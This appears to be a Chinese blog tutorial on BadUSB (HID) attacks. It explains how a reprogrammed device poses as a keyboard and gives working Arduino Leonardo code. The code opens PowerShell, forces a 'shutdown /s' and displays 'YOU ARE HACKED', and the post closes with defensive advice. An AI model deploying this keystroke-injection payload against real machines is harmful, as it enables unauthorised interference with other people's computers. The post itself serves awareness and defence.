你是否有幻想过成为电影里的黑客?
你是否有幻想过成为互联网的游侠?
你是否有幻想过一个U盘黑掉别人?

别想了,犯法的



这篇文章,将介绍一种HID攻击手段————BADUSB,及其原理、制作和防范措施。

我们先来浅析一下BADUSB的特点
  • 小巧便携,可以集成在一个U盘里
  • 不会被杀毒软件发现
  • 能对电脑进行攻击

BADUSB的原理

在介绍BADUSB之前,我们先了解一下BADUSB的攻击方式,这种操作者利用硬件与机器进行交互的方式,被称作HID(Human InterfaceDevice),在BADUSB出现之前,其主要攻击方式有两种:”USB RUBBERDUCKY”和”Teensy”,这里就不做详细介绍了。

如图所示,U盘由芯片控制器闪存两部分组成,闪存中有一部分区域用来存放U盘的固件。固件无法通过普通手段进行读取,而这也是电脑杀毒软件不会报毒的原因。
而BADUSB,就是对这部分固件进行逆向重新编程

USB协议的漏洞

我们知道,正是USB协议的漏洞,支持了BADUSB的存在。而由于USB设备较多,USB协议必须要保证极强的兼容性,所以在设计USB标准的时候允许一个USB设备具有多个输入输出设备的特征,而没有要求每个USB设备像网络设备那样占有一个唯一可识别的MAC地址让系统进行验证。这样我们就可以重写U盘固件,把U盘模伪装一个USB键盘,再模拟输入一些集成的指令进行攻击。
简单来说,就是因为USB协议过于宽松,导致U盘可以伪装成键盘进行攻击
重要的是,因为U盘被伪装成键盘或鼠标,BADUSB可以进行隐秘的、不被察觉的攻击。

攻击流程

当BADUSB被插入电脑后,会伪装成键盘打开电脑的命令终端,并执行一些命令,而这些命令往往都带有攻击性,从而实现控制目标机或者窃取信息的目的。


在这里,我们通过制作一个,BadUSB关机工具为大家详细介绍BadUSB的作用流程。在整个攻击过程中,关机的命令只有一行,但是程序一直在围绕获得命令执行权限展开。换句话说,如果黑客通过这种攻击手段攻击了你的计算机,轻松获得了你的计算机的权限,可就不是关机那么简单了。

制作材料

  • arduino leonardo
    某宝上就能买到,非常小巧,这也成为了它作为攻击工具的条件。
  • arduino IDE
    arduino的开发工具,代码在这里面写。>下载链接

制作流程

1.连接硬件
(1)将arduino leonardo接入电脑
(2)打开Arduino IDE
(3)工具->版->选择“Arduino Leonardo”
(4)工具->端口->选择“COM* (Arduino Leonardo)”
(5)现在可以看到IDE右下角出现“Arduino Leonardo on COM*
2.写入代码

我们先来介绍一下比较常用的几种命令:

Keyboard.begin();     //开始键盘通讯
Keyboard.end();     //结束键盘通讯
Keyboard.press();     //按下键盘按键     如果是非特殊按键如 数字、字母按键用单引号括起来
Keyboard.release();     //释放键盘按键
Keyboard.println("");     //输入字符串使用双引号括起来

那么,如果我想模拟按键按下大写键、shift键这类的特殊键怎么办呢?
只需要在press、release后面的括号中输入下面这些键盘代码就可以了

KEY_LEFT_CTRL //Ctrl键
KEY_LEFT_SHIFT //Shift键
KEY_LEFT_ALT //Alt键
KEY_LEFT_GUI //win键
KEY_UP_ARROW
KEY_DOWN_ARROW
KEY_LEFT_ARROW
KEY_RIGHT_ARROW //上下左右方向键
KEY_BACKSPACE //空格键
KEY_TAB  //Tab键
KEY_RETURN//回车键
KEY_CAPS_LOCK //大小写锁定键

介绍完了,就开始愉快地写代码吧!

(1)复制如下代码到IDE中(请认真阅读注释)
void setup() {
    Keyboard.begin(); //开始与键盘的通讯
    delay(6000); //这里设置延时,毕竟有的电脑比较卡

    // 以下代码的作用是按下win加r快速打开某项程序
    Keyboard.press(KEY_CAPS_LOCK); //按下大写键
    Keyboard.release(KEY_CAPS_LOCK); //松开大写键
    delay(5000);
    Keyboard.press(KEY_LEFT_GUI); //按下win键
    Keyboard.press('r'); //按下字母r键
    delay(1900);
    Keyboard.release(KEY_LEFT_GUI);
    Keyboard.release('r');
    delay(1000);

    Keyboard.println("powershell -nop"); //输入powershell,后面的-nop是为了绕过管理员权限
    Keyboard.press(KEY_RETURN);
    Keyboard.release(KEY_RETURN);
    delay(1000);
    Keyboard.println("shutdown /s"); //shutdown /s是关机的指令
    Keyboard.press(KEY_RETURN);
    Keyboard.release(KEY_RETURN);
    delay(1500);
    Keyboard.press(KEY_RETURN);
    Keyboard.release(KEY_RETURN);
    delay(5000);
    Keyboard.press(KEY_RETURN);
    Keyboard.release(KEY_RETURN);
    delay(2500);

    // 这里的指令是令cmd全屏,看起来更吓人
    Keyboard.println("start cmd"); //打开cmd(命令提示符)
    Keyboard.press(KEY_RETURN);
    Keyboard.release(KEY_RETURN);
    delay(1500);
    Keyboard.press(KEY_LEFT_ALT);
    Keyboard.press(KEY_RETURN);
    Keyboard.release(KEY_LEFT_ALT);
    Keyboard.release(KEY_RETURN);
    delay(1700);

    Keyboard.press(KEY_RETURN);
    Keyboard.release(KEY_RETURN);
    delay(1500);
    Keyboard.println("@echo off"); //关闭回显
    delay(1000);
    Keyboard.press(KEY_RETURN);
    Keyboard.release(KEY_RETURN);
    delay(3000);
    Keyboard.println("cls"); //清屏
    delay(3000);
    Keyboard.println("YOU ARE HACKED"); //打出“你被黑了”的字样,吓人

    Keyboard.end();
}

void loop()
{
}

(2)点击IDE左上角”对号图标”验证,然后点击”箭头图标”上传代码到硬件,没报错就OK了(报错了请一定要在文章下方留言让笔者知道鸭)
(3)上传完后最好赶紧拔掉USB,不然你的电脑会自己试验一遍你要用来高搞别人的代码(来自笔者的痛)

至此,硬件的设置已经完成,当硬件插入之后,系统会模拟键盘自动执行命令,让你的电脑关机(≧∀≦)ゞ
不过这只是一个示例,真正的BADUSB非常恐怖,拿到你的电脑密码,反弹shell,搞个rootshell什么的都是小菜一碟。


防范措施

BADUSB毕竟是一个很危险的东西,而上文也叙述过了,BADUSB是很难防御的。想象一下,某天你在路边捡到了一个U盘,正想打开看看里面有什么好东西寻找失主信息并归还,结果你的信息就被窃取了。

所以,如何防范BADUSB就成了一个很重要的问题。
笔者在网上找到了许多方法,研究了一下发现也就只有下面几种方法比较靠谱:

1.使用有唯一序列号的USB设备,再使用安全产品设置一个USB设备的白名单就可以了。(不过这种方法只能防止别人把BADUSB接入你的电脑,而不能保证自己的主动操作中中招,还影响日常的使用体验)事实上,提高安全防范意识才是根本举措。

2.在我用多台电脑测试时,我发现了一点,如果你的电脑以前没有使用过arduino leonardo,那么当你插入伪装成U盘的arduino leonardo后,电脑会显示需要安装它的驱动,这就可以给你提个心眼了。(但是,如果攻击者使用的是其他设备进行攻击,就不能保证会有驱动安装提示了)

3.一位程序员小哥Robert Fisk在GitHub释出了USG 1.0,这是一个开放源码的USB防火墙,宣称能够保障电脑免受BadUSB的危害。Fisk声称USG是USB装置的防火墙,它位于电脑及USB装置之间,可用来隔离来自USB装置的恶意程式。(虽然我没试过,不过貌似很厉害)

(图片源于网络,侵删)


总结

HID攻击对大众来说比较冷门,甚至可以说是不知道它的存在。所以,平时最好不要随意连接陌生的USB插口,也最好不要让陌生人借你的电脑给手机充电了。
本文对BADUSB的介绍、制作简易的BADUSB,都是希望能够引起读者日常生活中对USB的警惕心,请勿用于非法用途。
最后修改日期: 2019年7月31日

作者

0 0 投票数
文章评分
订阅评论
提醒
0 评论
内联反馈
查看所有评论